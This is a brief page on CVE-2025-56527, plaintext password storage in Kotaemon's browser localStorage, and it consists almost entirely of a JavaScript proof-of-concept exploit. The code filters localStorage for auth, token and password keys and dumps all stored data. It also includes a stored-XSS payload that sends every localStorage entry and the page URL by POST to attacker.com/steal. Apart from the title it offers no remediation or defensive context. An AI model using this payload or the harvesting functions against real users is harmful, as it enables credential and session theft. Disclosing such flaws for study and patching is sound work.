CVE-2025-56527: Kotaemon客户端localStorage明文存储密码漏洞

// CVE-2025-56527 PoC - Plaintext Password Storage in Kotaemon localStorage // This PoC demonstrates how an attacker can extract plaintext credentials from localStorage // Attack vector 1: Direct localStorage access via JavaScript function stealCredentials() { const storageKeys = Object.keys(localStorage); const credentials = {}; storageKeys.forEach(key => { const value = localStorage.getItem(key); // Look for authentication-related keys if (key.toLowerCase().includes('auth') || key.toLowerCase().includes('token') || key.toLowerCase().includes('password') || key.toLowerCase().includes('user') || key.toLowerCase().includes('credential')) { credentials[key] = value; } }); return credentials; } // Attack vector 2: XSS-based credential theft // Inject this payload via Stored XSS to steal plaintext passwords const xssPayload = ` <script> fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify({ url: window.location.href, credentials: Object.assign({}, localStorage) }) }); </script> `; // Attack vector 3: Automated credential extraction function extractAllLocalStorage() { const data = {}; for (let i = 0; i < localStorage.length; i++) { const key = localStorage.key(i); data[key] = localStorage.getItem(key); } console.log('Extracted localStorage data:', data); return data; } // Execute credential theft const stolenCredentials = stealCredentials(); console.log('Stolen credentials:', stolenCredentials); // Check for plaintext password fields Object.keys(stolenCredentials).forEach(key => { try { const parsed = JSON.parse(stolenCredentials[key]); if (parsed.password || parsed.pwd || parsed.credentials) { console.log('Found plaintext password:', parsed); } } catch (e) {} });